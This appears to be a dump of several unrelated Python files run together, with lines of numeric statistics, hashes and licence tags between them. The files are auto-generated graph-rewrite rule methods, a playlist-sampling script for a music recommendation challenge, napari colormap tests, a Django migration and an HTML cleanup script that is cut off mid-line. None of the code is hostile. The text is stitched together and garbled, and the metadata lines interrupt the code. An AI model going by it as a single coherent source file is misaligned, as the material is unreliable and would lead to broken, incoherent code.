#=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[29]["GUID__"] = 1774901048167856397 def eval_name31(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" def eval_name32(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" def eval_name33(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" def eval_name34(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" def eval_classtype9(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality9(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name9(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype10(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality10(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name10(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype14(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality14(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name14(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype15(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality15(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name15(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_associationType23(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" def eval_associationType24(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" def eval_associationType25(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" def eval_associationType26(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" def eval_associationType27(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" def eval_associationType28(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" def eval_associationType29(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" def eval_associationType30(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" def eval_classtype1(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality1(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name1(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype12(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality12(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name12(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype13(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality13(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name13(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_classtype22(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_cardinality22(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def eval_name22(self, attr_value, this): #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True def constraint(self, PreNode, graph): """ Executable constraint code. @param PreNode: Function taking an integer as parameter and returns the node corresponding to that label. """ #=============================================================================== # This code is executed after the nodes in the LHS have been matched. # You can access a matched node labelled n by: PreNode('n'). # To access attribute x of node n, use: PreNode('n')['x']. # The given constraint must evaluate to a boolean expression: # returning True enables the rule to be applied, # returning False forbids the rule from being applied. #=============================================================================== return True
50.508562
324
0.522884
6,831
58,994
4.386473
0.034109
0.043252
0.05847
0.044453
0.894941
0.853958
0.834201
0.82499
0.82499
0.82499
0
0.025466
0.20258
58,994
1,167
325
50.551842
0.611483
0.340035
0
0.597907
0
0
0.632051
0.16106
0
0
0
0
0
1
0.056801
false
0
0.001495
0.053812
0.170404
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
187f103bd06b5016ce5d8314ae2a5d3d839f0822
10,511
py
Python
helper/sample.py
rn5l/rsc18
b0e74495d797605b19b0d302e6797c681ba7748b
[ "Apache-2.0" ]
8
2018-10-08T15:10:17.000Z
2021-04-25T09:09:17.000Z
helper/sample.py
rn5l/rsc18
b0e74495d797605b19b0d302e6797c681ba7748b
[ "Apache-2.0" ]
null
null
null
helper/sample.py
rn5l/rsc18
b0e74495d797605b19b0d302e6797c681ba7748b
[ "Apache-2.0" ]
6
2018-10-15T14:20:28.000Z
2021-12-20T23:02:35.000Z
''' Created on 11.04.2018 @author: malte ''' import pandas as pd import numpy as np import time from helper import inout import math # data folder FOLDER = '/media/mpd-share/data_formated_100k/' FOLDER_TEST = '/media/mpd-share/online/' FOLDER_TARGET = '/media/mpd-share/sample4_100k' FOLDER_TARGET_TRAIN = '/media/mpd-share/data_formated' def create_similar_sample( playlists, actions, challenge_set, target, reduce=1 ): print( 'create similar sample' ) tstart = time.time() #only lists with support > 2 actions['sup'] = actions.groupby( 'track_id' )['track_id'].transform( 'size' ) good = actions.groupby('playlist_id')['sup'].min() good = good[good > 2] actions = actions[ np.in1d( actions.playlist_id, good.index ) ] del actions['sup'] playlists = playlists[ np.in1d( playlists.playlist_id, good.index ) ] print( ' -- removed support <= 2' ) sample = {} sample['name'] = [] sample['num_samples'] = [] sample['num_tracks'] = [] sample['playlist_id'] = [] playlist_set = set() test_set = pd.DataFrame() cpls = challenge_set[0] cactions = challenge_set[1] itemerror = 0 doubleerror = 0 if reduce < 1: index = [] #create smaller test set for i in range(10): #10 tasks with 1000 playlist start = i * 1000 end = start + math.floor( 1000*reduce ) index += list(range(start,end)) cpls = cpls.ix[index] i = 0 for list_example in cpls.itertuples(): good = False while not good: slist = playlists[ ( playlists.num_tracks > list_example.num_tracks-10 ) & ( playlists.num_tracks < list_example.num_tracks + 10 ) & ( playlists.num_tracks > list_example.num_samples ) ].sample( 1 ) pid = slist.playlist_id.values[0] if pid in playlist_set: doubleerror += 1 print( 'double error pid ', pid ) continue #reproduce from random playlist eactions = cactions[ cactions.playlist_id == list_example.playlist_id ] if list_example.num_samples > 0 : lactions = actions[ actions.playlist_id == pid ] if eactions.pos.max() >= list_example.num_samples: #random tracks tactions = lactions.sample( list_example.num_samples ) else: #first tracks tactions = lactions.head( list_example.num_samples ) if len( tactions ) is 0: print( 'no actions received...' ) print( pid ) print( list_example.num_samples ) print( list_example.num_tracks ) print( slist.num_tracks ) exit() test_set = pd.concat([test_set, tactions]) sample['num_samples'].append( list_example.num_samples ) sample['num_tracks'].append( slist.num_tracks.values[0] ) sample['playlist_id'].append( pid ) playlist_set.add(pid) #print( list_example.name ) if list_example.name is not None and list_example.name != '' and list_example.name != 'nan' and not type(list_example.name) is float: sample['name'].append( slist.name.values[0] ) #print( 'added' ) else: sample['name'].append( None ) good = True i += 1 if i % 100 == 0: print( ' -- processed ',i,' example lists ', diff(tstart) ) print( ' -- double lists: ', doubleerror ) print( ' -- item support 1: ', itemerror ) print( ' -- create frames', diff(tstart) ) sample = pd.DataFrame.from_dict(sample) ids = sample.playlist_id.unique() validation_set = actions[ np.in1d( actions.playlist_id, ids ) ] print( ' -- remove test from validation', diff(tstart) ) validation_set.to_csv( target + 'playlists_tracks_full.csv', index=False ) #remove training tracks from validation test_set['test'] = 1 validation_set = validation_set.merge( test_set[['playlist_id','track_id','pos','test']], on=['playlist_id','track_id','pos'], how='outer' ) validation_set = validation_set[validation_set.test != 1] del validation_set['test'] del test_set['test'] print( ' -- save results', diff(tstart) ) sample.to_csv( target + 'playlists.csv', index=False ) test_set.to_csv( target + 'playlists_tracks.csv', index=False ) validation_set.to_csv( target + 'playlists_tracks_validation.csv', index=False ) print( ' -- finished', diff(tstart) ) def create_random_sample( playlists, actions, challenge_set, target, reduce=1 ): print( 'create random sample' ) tstart = time.time() #only lists with support > 2 actions['sup'] = actions.groupby( 'track_id' )['track_id'].transform( 'size' ) good = actions.groupby('playlist_id')['sup'].min() good = good[good >= 2] actions = actions[ np.in1d( actions.playlist_id, good.index ) ] del actions['sup'] playlists = playlists[ np.in1d( playlists.playlist_id, good.index ) ] print( ' -- removed support <= 2' ) sample = {} sample['name'] = [] sample['num_samples'] = [] sample['num_tracks'] = [] sample['playlist_id'] = [] playlist_set = set() test_set = pd.DataFrame() cpls = challenge_set[0] cactions = challenge_set[1] itemerror = 0 doubleerror = 0 if reduce < 1: index = [] #create smaller test set for i in range(10): #10 tasks with 1000 playlist start = i * 1000 end = start + math.floor( 1000*reduce ) index += list(range(start,end)) cpls = cpls.ix[index] i = 0 for list_example in cpls.itertuples(): good = False while not good: slist = playlists[ playlists.num_tracks > list_example.num_samples ].sample( 1 ) pid = slist.playlist_id.values[0] if pid in playlist_set: doubleerror += 1 print( 'double error pid ', pid ) continue #reproduce from random playlist eactions = cactions[ cactions.playlist_id == list_example.playlist_id ] if list_example.num_samples > 0 : lactions = actions[ actions.playlist_id == pid ] if eactions.pos.max() >= list_example.num_samples: #random tracks tactions = lactions.sample( list_example.num_samples ) else: #first tracks tactions = lactions.head( list_example.num_samples ) if len( tactions ) is 0: print( 'no actions received...' ) print( pid ) print( list_example.num_samples ) print( list_example.num_tracks ) print( slist.num_tracks ) exit() test_set = pd.concat([test_set, tactions]) sample['num_samples'].append( list_example.num_samples ) sample['num_tracks'].append( slist.num_tracks.values[0] ) sample['playlist_id'].append( pid ) playlist_set.add(pid) if list_example.name is not None and list_example.name != '' and list_example.name != 'nan': sample['name'].append( slist.name.values[0] ) else: sample['name'].append( None ) good = True i += 1 if i % 100 == 0: print( ' -- processed ',i,' example lists ', diff(tstart) ) print( ' -- double lists: ', doubleerror ) print( ' -- create frames', diff(tstart) ) sample = pd.DataFrame.from_dict(sample) ids = sample.playlist_id.unique() validation_set = actions[ np.in1d( actions.playlist_id, ids ) ] print( ' -- remove test from validation', diff(tstart) ) validation_set.to_csv( target + 'playlists_tracks_full.csv', index=False ) #remove training tracks from validation test_set['test'] = 1 validation_set = validation_set.merge( test_set[['playlist_id','track_id','pos','test']], on=['playlist_id','track_id','pos'], how='outer' ) validation_set = validation_set[validation_set.test != 1] del validation_set['test'] del test_set['test'] print( ' -- save results', diff(tstart) ) sample.to_csv( target + 'playlists.csv', index=False ) test_set.to_csv( target + 'playlists_tracks.csv', index=False ) validation_set.to_csv( target + 'playlists_tracks_validation.csv', index=False ) print( ' -- finished', diff(tstart) ) def check_sample( ): pass def create_random_training_sample( playlists, artists, tracks, actions, target, reduce=0.1 ): playlists = playlists.sample( math.floor( len( playlists )*reduce ) ) actions = actions[ np.in1d( actions.playlist_id, playlists.playlist_id ) ] artists = artists[ np.in1d( artists.artist_id, actions.artist_id.unique() ) ] tracks = tracks[ np.in1d( tracks.track_id, actions.track_id.unique() ) ] playlists.to_csv( target + 'playlists.csv', index=False ) tracks.to_csv( target + 'tracks.csv', index=False ) artists.to_csv( target + 'artists.csv', index=False ) actions.to_csv( target + 'playlists_tracks.csv', index=False ) def diff( start ): return (time.time() - start) if __name__ == '__main__': actions = inout.load_actions(FOLDER, feather=True) playlists, artists, tracks = inout.load_meta(FOLDER, feather=True) challenge_set = inout.load_test(FOLDER_TEST) #create_random_training_sample(playlists, artists, tracks, actions, FOLDER_TARGET_TRAIN + '/', reduce=0.02) create_random_sample( playlists, actions, challenge_set, FOLDER_TARGET+'_random/', reduce=0.1 ) create_similar_sample( playlists, actions, challenge_set, FOLDER_TARGET+'_similar/', reduce=0.1 )
35.390572
210
0.570831
1,179
10,511
4.905004
0.127226
0.057064
0.043576
0.050839
0.857686
0.84904
0.84904
0.801314
0.775549
0.775549
0
0.016348
0.313291
10,511
296
211
35.510135
0.784843
0.051375
0
0.797927
0
0
0.118339
0.023225
0
0
0
0
0
1
0.025907
false
0.005181
0.025907
0.005181
0.056995
0.150259
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
62992988763a97f30baa45d2f49d88fd43aee769
1,958
py
Python
napari/utils/colormaps/_tests/test_colormap.py
Czaki/napari
9f423a19f7bb187f9d2e12fe9c7e063a38ccd07e
[ "BSD-3-Clause" ]
1
2022-03-01T19:38:06.000Z
2022-03-01T19:38:06.000Z
napari/utils/colormaps/_tests/test_colormap.py
Czaki/napari
9f423a19f7bb187f9d2e12fe9c7e063a38ccd07e
[ "BSD-3-Clause" ]
17
2020-06-11T21:02:03.000Z
2021-02-02T19:10:19.000Z
napari/utils/colormaps/_tests/test_colormap.py
pwinston/napari
5ebb3cc914038519591d7186a8a2d42b6fdc42b9
[ "BSD-3-Clause" ]
null
null
null
import numpy as np from napari.utils.colormaps import Colormap def test_linear_colormap(): """Test a linear colormap.""" colors = np.array([[0, 0, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1]]) cmap = Colormap(colors, name='testing') assert cmap.name == 'testing' assert cmap.interpolation == 'linear' assert len(cmap.controls) == len(colors) np.testing.assert_almost_equal(cmap.colors, colors) np.testing.assert_almost_equal(cmap.map([0.75]), [[0, 0.5, 0.5, 1]]) def test_linear_colormap_with_control_points(): """Test a linear colormap with control points.""" colors = np.array([[0, 0, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1]]) cmap = Colormap(colors, name='testing', controls=[0, 0.75, 1]) assert cmap.name == 'testing' assert cmap.interpolation == 'linear' assert len(cmap.controls) == len(colors) np.testing.assert_almost_equal(cmap.colors, colors) np.testing.assert_almost_equal(cmap.map([0.75]), [[0, 1, 0, 1]]) def test_binned_colormap(): """Test a binned colormap.""" colors = np.array([[0, 0, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1]]) cmap = Colormap(colors, name='testing', interpolation='zero') assert cmap.name == 'testing' assert cmap.interpolation == 'zero' assert len(cmap.controls) == len(colors) + 1 np.testing.assert_almost_equal(cmap.colors, colors) np.testing.assert_almost_equal(cmap.map([0.4]), [[0, 1, 0, 1]]) def test_binned_colormap_with_control_points(): """Test a binned with control points.""" colors = np.array([[0, 0, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1]]) cmap = Colormap( colors, name='testing', interpolation='zero', controls=[0, 0.2, 0.3, 1], ) assert cmap.name == 'testing' assert cmap.interpolation == 'zero' assert len(cmap.controls) == len(colors) + 1 np.testing.assert_almost_equal(cmap.colors, colors) np.testing.assert_almost_equal(cmap.map([0.4]), [[0, 0, 1, 1]])
34.350877
72
0.626149
293
1,958
4.081911
0.12628
0.035117
0.035117
0.033445
0.881271
0.864548
0.82107
0.82107
0.779264
0.779264
0
0.056293
0.192543
1,958
56
73
34.964286
0.70019
0.064351
0
0.512821
0
0
0.046383
0
0
0
0
0
0.512821
1
0.102564
false
0
0.051282
0
0.153846
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
62da1d33c02b418043ea8dc436bc455f0320f9bd
2,510
py
Python
vespawatch/migrations/0010_auto_20190318_1408.py
kmannnish/vespa-watch
eb92246bd5d68d5f4972acc02e86e67e86b77f63
[ "MIT" ]
3
2019-01-17T09:22:13.000Z
2020-06-05T03:46:45.000Z
vespawatch/migrations/0010_auto_20190318_1408.py
kmannnish/vespa-watch
eb92246bd5d68d5f4972acc02e86e67e86b77f63
[ "MIT" ]
406
2018-06-13T18:36:53.000Z
2022-03-22T16:41:50.000Z
vespawatch/migrations/0010_auto_20190318_1408.py
kmannnish/vespa-watch
eb92246bd5d68d5f4972acc02e86e67e86b77f63
[ "MIT" ]
8
2019-02-12T10:05:08.000Z
2020-10-01T05:39:13.000Z
# Generated by Django 2.1.5 on 2019-03-18 13:08 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('vespawatch', '0009_add_new_page_fragments'), ] operations = [ migrations.AlterField( model_name='individual', name='observer_email', field=models.EmailField(blank=True, max_length=254, null=True, verbose_name='Email address'), ), migrations.AlterField( model_name='individual', name='observer_first_name', field=models.CharField(blank=True, max_length=255, null=True, verbose_name='First name'), ), migrations.AlterField( model_name='individual', name='observer_last_name', field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Last name'), ), migrations.AlterField( model_name='individual', name='observer_phone', field=models.CharField(blank=True, max_length=20, null=True, verbose_name='Telephone number'), ), migrations.AlterField( model_name='nest', name='height', field=models.CharField(blank=True, choices=[('BELOW_4_M', 'Below 4 meters'), ('BELOW_4_M', 'Above 4 meters')], max_length=50, verbose_name='Nest height'), ), migrations.AlterField( model_name='nest', name='observer_email', field=models.EmailField(blank=True, max_length=254, null=True, verbose_name='Email address'), ), migrations.AlterField( model_name='nest', name='observer_first_name', field=models.CharField(blank=True, max_length=255, null=True, verbose_name='First name'), ), migrations.AlterField( model_name='nest', name='observer_last_name', field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Last name'), ), migrations.AlterField( model_name='nest', name='observer_phone', field=models.CharField(blank=True, max_length=20, null=True, verbose_name='Telephone number'), ), migrations.AlterField( model_name='nest', name='size', field=models.CharField(blank=True, choices=[('LESS_25_CM', 'Less than 25cm'), ('MORE_25_CM', 'More than 25cm')], max_length=50, verbose_name='Nest size'), ), ]
39.21875
166
0.60239
274
2,510
5.321168
0.244526
0.137174
0.171468
0.198903
0.825789
0.825789
0.740741
0.681756
0.662551
0.662551
0
0.031114
0.27012
2,510
63
167
39.84127
0.764738
0.017928
0
0.807018
1
0
0.18311
0.010962
0
0
0
0
0
1
0
false
0
0.017544
0
0.070175
0
0
0
0
null
0
0
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c52a42e8b3d6d25d8729da8465c628d168639aa3
14,380
py
Python
HTMLreformat.py
dbriksza/python-scripts
41ecfc099bed7c9339a7486c7bb931166fa124f8
[ "MIT" ]
null
null
null
HTMLreformat.py
dbriksza/python-scripts
41ecfc099bed7c9339a7486c7bb931166fa124f8
[ "MIT" ]
null
null
null
HTMLreformat.py
dbriksza/python-scripts
41ecfc099bed7c9339a7486c7bb931166fa124f8
[ "MIT" ]
null
null
null
def massHTMLParse(baseDirectory, folderDepth, sections, baseURL, rename = False, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) print(len(files)) errors = [] for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() try: for section in sections: if type(section) == tuple: print(type(section[0])) if (type(section[0]) == int): selectStart = section[0] elif (type(section[0]) == str): selectStart = 0 for line in original_html: selectStart += 1 if re.search(section[0], line): res = re.search(section[0], line) print(f"{res.group(0)}") break if (type(section[1]) == int): selectEnd = section[1] elif (type(section[1]) == str): selectEnd = 0 for line in original_html: selectEnd += 1 if re.search(section[1], line): res = re.search(section[1], line) print(f"{res.group(0)}") break print(f"{selectStart}, {selectEnd}") new_html.append(original_html[selectStart:selectEnd]) else: new_html.append(section) except ValueError: errors.append(filename) continue if rename == True: newname = filename.split("\\") nf = codecs.open(f"{newname[-2]}.html", "w", encoding='UTF-8') # print(f"newfile") for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() elif rename == False: with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break print(f"{len(errors)}") commands = [] for error in errors: commands.append(f"wayback_machine_downloader {baseURL}{error[1:-10]} --exact-url --to {error[2:5]}{int(error[5]) + 1}") f = open("commands.txt", "w") for entry in commands: f.write(entry) f.write('\n') f.close() def massHTMLScriptRemoval(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() print(filename) middle_html = "".join(original_html) script = '<script(.*?)<\/script>' new_html = re.sub(script, "", middle_html, flags=re.DOTALL) # new_html = middle_html # for scripts in script_array: # new_html = re.split(scripts, new_html) print(new_html) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break def massHTMLStylesheetReplace(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", 